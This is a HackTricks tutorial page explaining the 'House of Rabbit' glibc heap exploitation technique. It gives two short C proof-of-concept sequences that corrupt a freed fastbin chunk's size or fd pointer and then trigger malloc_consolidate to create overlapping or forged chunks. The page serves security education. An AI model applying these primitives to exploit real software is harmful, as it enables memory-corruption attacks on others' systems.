> For the complete documentation index, see [llms.txt](https://angelica.gitbook.io/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angelica.gitbook.io/hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md). # House of Rabbit {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ### Requirements 1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. 2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. ### Goals 1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. 2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. ## Steps of the attack ### POC 1: Modify the size of a fast bin chunk **Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. * **Step 1: Allocate Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. * **Step 2: Free Chunks** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` We free both chunks, adding them to the fastbin list. * **Step 3: Modify Chunk Size** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. * **Step 4: Trigger `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. ### POC 2: Modify the `fd` pointer **Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. * **Step 1: Allocate Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` **Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. * **Step 2: Create fake chunk** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` We write fake chunk metadata into `chunk2` to simulate smaller chunks. * **Step 3: Free `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` **Explanation**: We free `chunk1`, adding it to the fastbin list. * **Step 4: Modify `fd` of `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` **Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. * **Step 5: Trigger `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. ### Summary The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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